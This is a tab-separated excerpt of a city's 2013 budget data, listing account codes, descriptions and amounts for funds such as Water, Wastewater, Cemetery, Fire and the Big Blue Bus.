630	B1	IS	1	General Fund	500	PUBLIC WORKS	402	ENGINEERING	522310.0	OFFICE SUPPLIES / EXPENSES	808.0	 Supplies and Expenses	2013	18228.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	18228.0
631	B1	IS	1	General Fund	500	PUBLIC WORKS	402	ENGINEERING	555060.0	PROFESSIONAL SERVICES	808.0	 Supplies and Expenses	2013	7200.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	7200.0
632	B1	IS	27	Resource Recovery & Recyc Fund	500	PUBLIC WORKS	441	RESOURCE RECOVERY & RECYCLING	523000.0	VEHICLE MGMT FUND-MAINTENANCE	808.0	 Supplies and Expenses	2013	2300000.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	2300000.0
633	B1	IS	27	Resource Recovery & Recyc Fund	500	PUBLIC WORKS	441	RESOURCE RECOVERY & RECYCLING	533180.0	TRANSFER STATION OPERATIONS	808.0	 Supplies and Expenses	2013	18000.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	18000.0
634	B1	IS	37	Cemetery Fund	500	PUBLIC WORKS	641	CEMETERY	522210.0	UTILITIES - TELEPHONE	808.0	 Supplies and Expenses	2013	1595.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	1595.0
635	B1	IS	37	Cemetery Fund	500	PUBLIC WORKS	641	CEMETERY	522320.0	METERED POSTAGE	808.0	 Supplies and Expenses	2013	325.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	325.0
636	B1	IS	37	Cemetery Fund	500	PUBLIC WORKS	641	CEMETERY	555060.0	PROFESSIONAL SERVICES	808.0	 Supplies and Expenses	2013	65000.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	65000.0
637	B1	IS	31	Wastewater Fund	500	PUBLIC WORKS	661	WASTE WATER	511490.0	OVERTIME	840.0	Salaries and Wages	2013	37015.0	0	0.0	0.0	0	0	0.0	370	0.0	0	0	0.0	37385.0
638	B1	IS	31	Wastewater Fund	500	PUBLIC WORKS	661	WASTE WATER	522620.0	RENT	866.0	 Supplies and Expenses	2013	102000.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	102000.0
639	B1	IS	25	Water Fund	500	PUBLIC WORKS	671	WATER	511710.0	MEDICARE EMPLOYER CONTRIBUTION	840.0	Salaries and Wages	2013	250.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	250.0
640	B1	IS	25	Water Fund	500	PUBLIC WORKS	671	WATER	522160.0	TRANSFER STATION FEE	848.0	 Supplies and Expenses	2013	9500.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	9500.0
641	B1	IS	25	Water Fund	500	PUBLIC WORKS	671	WATER	522210.0	UTILITIES - TELEPHONE	850.0	 Supplies and Expenses	2013	51250.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	51250.0
642	B1	IS	25	Water Fund	500	PUBLIC WORKS	671	WATER	522650.0	OTHER OPERATING RENT	866.0	 Supplies and Expenses	2013	226556.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	226556.0
643	B1	IS	25	Water Fund	500	PUBLIC WORKS	671	WATER	511040.0	COUNCIL/BOARD ALLOWANCE	840.0	Salaries and Wages	2013	2531.0	0	0.0	0.0	0	0	0.0	25	0.0	0	0	0.0	2556.0
644	B1	IS	1	General Fund	700	NON-DEPARTMENTAL	274	ALL OTHER TRANSACTIONS	555300.0	LIBRARY BOND DEBT SERVICE	910.0	 Supplies and Expenses	2013	1534980.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	1534980.0
645	B1	IS	1	General Fund	700	NON-DEPARTMENTAL	695	INTERFUND TRANSACTIONS	533420.0	ENGINEERING TRANSFER	908.0	 Supplies and Expenses	2013	-226625.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	-226625.0
646	B1	IS	20	Miscellaneous Grants Fund	700	NON-DEPARTMENTAL	695	INTERFUND TRANSACTIONS	578020.0	HOME PROGRAM ADMIN	910.0	 Supplies and Expenses	2013	54808.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	54808.0
647	B1	IS	1	General Fund	500	PUBLIC WORKS	401	ADMINISTRATIVE SERVICES (PW)	555060.0	PROFESSIONAL SERVICES	808.0	 Supplies and Expenses	2013	6000.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	6000.0
648	B1	IS	1	General Fund	500	PUBLIC WORKS	402	ENGINEERING	522910.0	VEHICLES - FUELS / LUBRICATION	808.0	 Supplies and Expenses	2013	298.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	298.0
649	B1	IS	27	Resource Recovery & Recyc Fund	500	PUBLIC WORKS	441	RESOURCE RECOVERY & RECYCLING	522310.0	OFFICE SUPPLIES / EXPENSES	808.0	 Supplies and Expenses	2013	59900.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	59900.0
650	B1	IS	27	Resource Recovery & Recyc Fund	500	PUBLIC WORKS	441	RESOURCE RECOVERY & RECYCLING	522820.0	CONFERENCES/MEETINGS/TRAVEL	808.0	 Supplies and Expenses	2013	10000.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	10000.0
651	B1	IS	27	Resource Recovery & Recyc Fund	500	PUBLIC WORKS	441	RESOURCE RECOVERY & RECYCLING	533120.0	SPECIAL EQUIP MAINT	808.0	 Supplies and Expenses	2013	70600.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	70600.0
652	B1	IS	27	Resource Recovery & Recyc Fund	500	PUBLIC WORKS	441	RESOURCE RECOVERY & RECYCLING	555060.0	PROFESSIONAL SERVICES	808.0	 Supplies and Expenses	2013	185524.76	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	185524.76
653	B1	IS	27	Resource Recovery & Recyc Fund	500	PUBLIC WORKS	441	RESOURCE RECOVERY & RECYCLING	555070.0	RECYCLING/DISPOSAL FEES	808.0	 Supplies and Expenses	2013	4090000.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	4090000.0
654	B1	IS	37	Cemetery Fund	500	PUBLIC WORKS	641	CEMETERY	511000.0	PERMANENT EMPLOYEES	808.0	Salaries and Wages	2013	405296.0	0	0.0	0.0	0	0	0.0	4053	0.0	0	0	0.0	409349.0
655	B1	IS	37	Cemetery Fund	500	PUBLIC WORKS	641	CEMETERY	523000.0	VEHICLE MGMT FUND-MAINTENANCE	808.0	 Supplies and Expenses	2013	20408.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	20408.0
656	B1	IS	37	Cemetery Fund	500	PUBLIC WORKS	641	CEMETERY	544340.0	INDIRECT COST ALLOCATION	808.0	 Supplies and Expenses	2013	384216.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	384216.0
657	B1	IS	37	Cemetery Fund	500	PUBLIC WORKS	641	CEMETERY	555010.0	CONTRACTUAL SERVICES	808.0	 Supplies and Expenses	2013	125000.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	23050.0	148050.0
658	B1	IS	37	Cemetery Fund	500	PUBLIC WORKS	641	CEMETERY	522130.0	UTILITIES - WATER	808.0	 Supplies and Expenses	2013	89307.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	89307.0
659	B1	IS	31	Wastewater Fund	500	PUBLIC WORKS	661	WASTE WATER	544010.0	SPEC DEPT SUPPLIES	848.0	 Supplies and Expenses	2013	255000.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	255000.0
660	B1	IS	25	Water Fund	500	PUBLIC WORKS	671	WATER	511730.0	WORKERS' COMP INSURANCE	840.0	Salaries and Wages	2013	79834.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	79834.0
661	B1	IS	25	Water Fund	500	PUBLIC WORKS	671	WATER	533020.0	GENERAL LIABILITY / AUTO	854.0	 Supplies and Expenses	2013	250648.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	250648.0
662	B1	IS	25	Water Fund	500	PUBLIC WORKS	671	WATER	522140.0	WATER PURCHASES	852.0	 Supplies and Expenses	2013	4808500.0	0	0.0	0.0	0	0	0.0	800000	0.0	0	0	0.0	5608500.0
663	B1	IS	25	Water Fund	500	PUBLIC WORKS	671	WATER	555700.0	REGULATORY AGENCY FEES	866.0	 Supplies and Expenses	2013	110000.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	110000.0
664	B1	IS	1	General Fund	700	NON-DEPARTMENTAL	695	INTERFUND TRANSACTIONS	577720.0	CDBG REIMBURSEMENT-HUMAN SVCS	908.0	 Supplies and Expenses	2013	-59500.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	-59500.0
665	B1	IS	1	General Fund	700	NON-DEPARTMENTAL	695	INTERFUND TRANSACTIONS	578020.0	HOME PROGRAM ADMIN	908.0	 Supplies and Expenses	2013	-54808.0	0	0.0	0.0	0	0	0.0	51145	0.0	0	0	0.0	-3663.0
666	B1	IS	57	Self-insurance, Bus Fund	700	NON-DEPARTMENTAL	233	BUS	522070.0	DEPOSITION COSTS	862.0	 Supplies and Expenses	2013	20000.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	20000.0
667	B1	IS	27	Resource Recovery & Recyc Fund	500	PUBLIC WORKS	441	RESOURCE RECOVERY & RECYCLING	401500.0	GARB/REFUSE COLLECTION FEES	650.0	Charges for Service	2013	-22129574.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	-22129574.0
668	B1	IS	59	Self-insur, Workers' Comp Fund	700	NON-DEPARTMENTAL	235	WORKER'S COMPENSATION	402400.0	INSURANCE RECOVERY	650.0	Charges for Service	2013	-50000.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	-50000.0
669	B1	IS	1	General Fund	310	FIRE	312	FIRE - ADMINISTRATION	522820.0	CONFERENCES/MEETINGS/TRAVEL	806.0	 Supplies and Expenses	2013	5253.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	5253.0
670	B1	IS	1	General Fund	310	FIRE	312	FIRE - ADMINISTRATION	522910.0	VEHICLES - FUELS / LUBRICATION	806.0	 Supplies and Expenses	2013	132296.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	132296.0
671	B1	IS	1	General Fund	310	FIRE	312	FIRE - ADMINISTRATION	533120.0	SPECIAL EQUIP MAINT	806.0	 Supplies and Expenses	2013	33584.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	33584.0
672	B1	IS	1	General Fund	310	FIRE	312	FIRE - ADMINISTRATION	511730.0	WORKERS' COMP INSURANCE	806.0	Salaries and Wages	2013	914277.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	914277.0
673	B1	IS	1	General Fund	310	FIRE	312	FIRE - ADMINISTRATION	522120.0	UTILITIES - NATURAL GAS	806.0	 Supplies and Expenses	2013	11790.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	11790.0
674	B1	IS	1	General Fund	310	FIRE	312	FIRE - ADMINISTRATION	522130.0	UTILITIES - WATER	806.0	 Supplies and Expenses	2013	26112.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	26112.0
675	B1	IS	1	General Fund	310	FIRE	312	FIRE - ADMINISTRATION	522930.0	VEHICLES - TIRES / TUBES	806.0	 Supplies and Expenses	2013	5304.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	5304.0
676	B1	IS	1	General Fund	310	FIRE	312	FIRE - ADMINISTRATION	588080.0	OFFICE EQUIPMENT	806.0	 Supplies and Expenses	2013	13260.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	13260.0
677	B1	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	651	TRANSIT MAINTENANCE	555014.0	OUTSIDE REPAIRS - OFFICE EQUIP		 Supplies and Expenses	2013	1500.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	1500.0
678	B1	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	651	TRANSIT MAINTENANCE	577064.0	OTHER MISCELLANEOUS EXPENSES		 Supplies and Expenses	2013	1000.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	1000.0
679	B1	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	655	TRANSIT OPERATIONS	511972.0	UNIFORM ALLOWANCE		Salaries and Wages	2013	115500.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	115500.0
680	B1	IS	1	General Fund	310	FIRE	315	TRAINING	544010.0	SPECIAL DEPARTMENT SUPPLIES	806.0	 Supplies and Expenses	2013	8160.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	8160.0
681	B1	IS	1	General Fund	130	FINANCE	224	BUSINESS & REVENUE OPERATIONS	522950.0	CNG FUEL	804.0	 Supplies and Expenses	2013	4481.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	4481.0
682	B1	IS	1	General Fund	310	FIRE	315	TRAINING	555210.0	TRAINING	806.0	 Supplies and Expenses	2013	137190.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	137190.0
683	B1	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	653	TRANSIT MAINTENANCE	511490.0	OVERTIME		Salaries and Wages	2013	85714.0	0	0.0	0.0	0	0	0.0	857	0.0	0	0	0.0	86571.0
684	B1	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	655	TRANSIT OPERATIONS	511500.0	TEMPORARY EMPLOYEES		Salaries and Wages	2013	496523.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	496523.0
685	B1	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	651	TRANSIT MAINTENANCE	522130.0	UTILITIES - WATER		 Supplies and Expenses	2013	41802.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	41802.0
686	B1	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	651	TRANSIT MAINTENANCE	522820.0	CONFERENCES/MEETINGS/TRAVEL		 Supplies and Expenses	2013	25000.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	25000.0
687	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	544	COMMUNITY RECREATION	404760.0	RENT/PROP FEES - KEC	618.0	Rentals	2013	-2381.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	-2381.0
688	B1	IS	1	General Fund	410	LIBRARY	613	ADMIN. AND FACILITIES	522120.0	UTILITIES - NATURAL GAS	812.0	 Supplies and Expenses	2013	10700.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	10700.0
689	B1	IS	1	General Fund	410	LIBRARY	613	ADMIN. AND FACILITIES	522310.0	OFFICE SUPPLIES / EXPENSE	812.0	 Supplies and Expenses	2013	12000.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	12000.0
690	B1	IS	1	General Fund	410	LIBRARY	613	ADMIN. AND FACILITIES	522310.0	OFFICE SUPPLIES / EXPENSE	812.0	 Supplies and Expenses	2013	2000.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	2000.0
691	B1	IS	1	General Fund	410	LIBRARY	613	ADMIN. AND FACILITIES	555190.0	METRO LIBRARY SYSTEMS	812.0	 Supplies and Expenses	2013	1700.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	1700.0
692	B1	IS	1	General Fund	410	LIBRARY	614	INFORMATION MANAGEMENT	544070.0	NON-PRINT RESOURCES	812.0	 Supplies and Expenses	2013	232095.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	232095.0
693	B1	IS	1	General Fund	500	PUBLIC WORKS	402	ENGINEERING	511000.0	PERMANENT EMPLOYEES	808.0	Salaries and Wages	2013	3250317.0	0	0.0	0.0	0	0	0.0	38618	0.0	0	0	0.0	3288935.0
694	B1	IS	1	General Fund	500	PUBLIC WORKS	402	ENGINEERING	533020.0	GENERAL LIABILITY / AUTO	808.0	 Supplies and Expenses	2013	17704.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	17704.0
695	B1	IS	1	General Fund	500	PUBLIC WORKS	402	ENGINEERING	511730.0	WORKERS' COMP INSURANCE	808.0	Salaries and Wages	2013	19441.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	19441.0
696	B1	IS	27	Resource Recovery & Recyc Fund	500	PUBLIC WORKS	441	RESOURCE RECOVERY & RECYCLING	511500.0	TEMPORARY EMPLOYEES	808.0	Salaries and Wages	2013	268380.0	0	0.0	0.0	0	0	0.0	2684	0.0	0	0	0.0	271064.0
697	B1	IS	27	Resource Recovery & Recyc Fund	500	PUBLIC WORKS	441	RESOURCE RECOVERY & RECYCLING	522210.0	UTILITIES - TELEPHONE	808.0	 Supplies and Expenses	2013	37500.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	37500.0
698	B1	IS	27	Resource Recovery & Recyc Fund	500	PUBLIC WORKS	441	RESOURCE RECOVERY & RECYCLING	544170.0	UNIFORM / PROTECTIVE CLOTHING	808.0	 Supplies and Expenses	2013	75200.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	75200.0
699	B1	IS	1	General Fund	310	FIRE	314	FIRE PREVENTION	511749.0	VISION	806.0	Salaries and Wages	2013	1773.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	1773.0
700	B1	IS	27	Resource Recovery & Recyc Fund	500	PUBLIC WORKS	441	RESOURCE RECOVERY & RECYCLING	544340.0	INDIRECT COST ALLOCATION	808.0	 Supplies and Expenses	2013	1110422.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	1110422.0
701	B1	IS	37	Cemetery Fund	500	PUBLIC WORKS	641	CEMETERY	544170.0	UNIFORM / PROTECTIVE CLOTHING	808.0	 Supplies and Expenses	2013	600.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	600.0
702	B1	IS	31	Wastewater Fund	500	PUBLIC WORKS	661	WASTE WATER	522130.0	UTILITIES - WATER	850.0	 Supplies and Expenses	2013	2040.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	2040.0
703	B1	IS	25	Water Fund	500	PUBLIC WORKS	671	WATER	522310.0	OFFICE SUPPLIES / EXPENSE	848.0	 Supplies and Expenses	2013	15000.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	15000.0
704	B1	IS	25	Water Fund	500	PUBLIC WORKS	671	WATER	522620.0	RENT	866.0	 Supplies and Expenses	2013	102000.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	102000.0
705	B1	IS	25	Water Fund	500	PUBLIC WORKS	671	WATER	523000.0	VEHICLE MGMT FUND-MAINTENANCE	846.0	 Supplies and Expenses	2013	195500.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	195500.0
706	B1	IS	25	Water Fund	500	PUBLIC WORKS	671	WATER	544010.0	SPEC DEPT SUPPLIES	848.0	 Supplies and Expenses	2013	1050000.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	1050000.0
707	B1	IS	14	TORCA Fund	700	NON-DEPARTMENTAL	695	INTERFUND TRANSACTIONS	577860.0	TORCA REIMBURSEMENT	910.0	 Supplies and Expenses	2013	98910.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	98910.0
708	B1	IS	31	Wastewater Fund	700	NON-DEPARTMENTAL	695	INTERFUND TRANSACTIONS	578250.0	STORMWATER / WASTEWATER		 Supplies and Expenses	2013	-1099737.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	-1099737.0
709	B1	IS	57	Self-insurance, Bus Fund	700	NON-DEPARTMENTAL	233	BUS	522030.0	INVESTIGATION EXPENSES	862.0	 Supplies and Expenses	2013	25000.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	25000.0
710	B1	IS	57	Self-insurance, Bus Fund	700	NON-DEPARTMENTAL	233	BUS	522050.0	MEDICAL EXAMS	862.0	 Supplies and Expenses	2013	25000.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	25000.0
711	B1	IS	57	Self-insurance, Bus Fund	700	NON-DEPARTMENTAL	233	BUS	522090.0	MISCELLANEOUS COSTS	862.0	 Supplies and Expenses	2013	60000.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	60000.0
712	B1	IS	57	Self-insurance, Bus Fund	700	NON-DEPARTMENTAL	233	BUS	522100.0	EXPERT WITNESS COSTS	862.0	 Supplies and Expenses	2013	60000.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	60000.0
713	B1	IS	59	Self-insur, Workers' Comp Fund	700	NON-DEPARTMENTAL	235	WORKER'S COMPENSATION	522010.0	PAYMENT OF CLAIMS	856.0	 Supplies and Expenses	2013	6200000.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	6200000.0
714	B1	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	321	BUILDING AND SAFETY	544170.0	UNIFORM / PROTECTIVE CLOTHING	816.0	 Supplies and Expenses	2013	7000.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	7000.0
715	B1	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	321	BUILDING AND SAFETY	588080.0	OFFICE EQUIPMENT	816.0	 Supplies and Expenses	2013	6000.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	6000.0
716	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	560	CULTURAL AFFAIRS	544400.0	COMMUNITY ARTS GRANT	810.0	 Supplies and Expenses	2013	100000.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	100000.0
717	B1	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	266	CITY PLANNING/DEVELOPMENT REV.	544010.0	SPECIAL DEPARTMENT SUPPLIES	816.0	 Supplies and Expenses	2013	7725.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	7725.0
718	B1	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	266	CITY PLANNING/DEVELOPMENT REV.	588090.0	FURNITURE & FURNISHINGS	816.0	 Supplies and Expenses	2013	4080.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	4080.0
719	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	560	CULTURAL AFFAIRS	555060.0	PROFESSIONAL SERVICES	810.0	 Supplies and Expenses	2013	10000.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	10000.0
720	B1	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	265	PCD - ADMINISTRATION	511730.0	WORKERS' COMP INSURANCE	816.0	Salaries and Wages	2013	72128.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	72128.0
721	B1	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	265	PCD - ADMINISTRATION	522210.0	UTILITIES - TELEPHONE	816.0	 Supplies and Expenses	2013	7889.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	7889.0
722	B1	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	265	PCD - ADMINISTRATION	555110.0	LEGAL EXPENSE	816.0	 Supplies and Expenses	2013	5000.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	5000.0
723	B1	IS	31	Wastewater Fund	500	PUBLIC WORKS	661	WASTE WATER	401430.0	CONN/CAP PERMIT FEES	650.0	Charges for Service	2013	-16000.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	-16000.0
724	B1	IS	31	Wastewater Fund	500	PUBLIC WORKS	661	WASTE WATER	402630.0	WASTEWATER MISC NON-OPERATING	662.0	Other	2013	-1000.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	-1000.0
725	B1	IS	1	General Fund	100	CITY COUNCIL	201	CITY COUNCIL	522310.0	OFFICE SUPPLIES / EXPENSE	804.0	 Supplies and Expenses	2013	9140.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	9140.0
726	B1	IS	1	General Fund	110	CITY MANAGER	202	CITY MANAGER - ADMINISTRATION	511730.0	WORKERS' COMP INSURANCE	804.0	Salaries and Wages	2013	15490.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	15490.0
727	B1	IS	1	General Fund	110	CITY MANAGER	202	CITY MANAGER - ADMINISTRATION	522320.0	METERED POSTAGE	804.0	 Supplies and Expenses	2013	1000.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	1000.0
728	B1	IS	1	General Fund	110	CITY MANAGER	202	CITY MANAGER - ADMINISTRATION	544040.0	BOOKS / PAMPHLETS	804.0	 Supplies and Expenses	2013	350.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	350.0
729	B1	IS	1	General Fund	130	FINANCE	221	ADMINISTRATION	522310.0	OFFICE SUPPLIES / EXPENSE	804.0	 Supplies and Expenses	2013	23000.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	23000.0
730	B1	IS	1	General Fund	130	FINANCE	221	ADMINISTRATION	522320.0	METERED POSTAGE	804.0	 Supplies and Expenses	2013	1000.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	1000.0
731	B1	IS	1	General Fund	130	FINANCE	221	ADMINISTRATION	522900.0	MEMBERSHIPS AND DUES	804.0	 Supplies and Expenses	2013	6500.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	6500.0
732	B1	IS	1	General Fund	130	FINANCE	221	ADMINISTRATION	555210.0	TRAINING	804.0	 Supplies and Expenses	2013	3000.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	3000.0
733	B1	IS	1	General Fund	130	FINANCE	222	FINANCIAL OPERATIONS	533580.0	COMPUTER EQUIP/SOFTWARE MAINT	804.0	 Supplies and Expenses	2013	89719.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	89719.0
734	B1	IS	1	General Fund	130	FINANCE	224	BUSINESS & REVENUE OPERATIONS	522910.0	VEHICLES - FUELS / LUBRICATION	804.0	 Supplies and Expenses	2013	79.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	79.0
735	B1	IS	1	General Fund	130	FINANCE	224	BUSINESS & REVENUE OPERATIONS	555010.0	CONTRACTUAL SERVICES	804.0	 Supplies and Expenses	2013	87000.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	87000.0
736	B1	IS	1	General Fund	700	NON-DEPARTMENTAL	695	INTERFUND TRANSACTIONS	579960.0	BIG BLUE BUS/GEN FUND REIMBURS	908.0	 Supplies and Expenses	2013	-79555.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	-79555.0
737	B1	IS	25	Water Fund	500	PUBLIC WORKS	671	WATER	555210.0	TRAINING	804.0	 Supplies and Expenses	2013	20000.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	20000.0
738	B1	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	416	TRANS ENGINEERING & MGMT	522320.0	METERED POSTAGE	816.0	 Supplies and Expenses	2013	1000.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	1000.0
739	B1	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	416	TRANS ENGINEERING & MGMT	522310.0	OFFICE SUPPLIES / EXPENSES	816.0	 Supplies and Expenses	2013	5000.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	5000.0
740	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	544	COMMUNITY RECREATION	400220.0	MEMORIAL PARK GYM USER FEE	612.0	Charges for Service	2013	-21549.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	-21549.0
741	B1	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	417	PARKING OPERATIONS	522900.0	MEMBERSHIPS AND DUES	816.0	 Supplies and Expenses	2013	0.0	0	0.0	0.0	0	0	0.0	0	0.0	1200	0	0.0	1200.0
742	B1	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	417	PARKING OPERATIONS	522950.0	CNG FUEL	816.0	 Supplies and Expenses	2013	0.0	0	0.0	0.0	0	0	0.0	0	0.0	918	0	0.0	918.0
743	B1	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	642	TRANSIT FINANCE AND GRANTS	511500.0	TEMPORARY EMPLOYEES		Salaries and Wages	2013	3500.0	0	0.0	0.0	0	0	0.0	35	0.0	0	0	0.0	3535.0
744	B1	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	643	TRANSIT CUSTOMER & GOVT RELAT	522315.0	MULTIMEDIA		 Supplies and Expenses	2013	13300.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	13300.0
745	B1	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	643	TRANSIT CUSTOMER & GOVT RELAT	522545.0	AD SALES (BBB)		 Supplies and Expenses	2013	211500.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	211500.0
746	B1	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	417	PARKING OPERATIONS	522114.0	UTIL-LIGHT/POWER-PARKING AUTH	816.0	 Supplies and Expenses	2013	0.0	0	0.0	0.0	0	0	0.0	0	0.0	93617	0	0.0	93617.0
747	B1	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	642	TRANSIT FINANCE AND GRANTS	404210.0	OTHER OPER REV-ADVERTISING	650.0	Charges for Service	2013	-1350000.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	-1350000.0
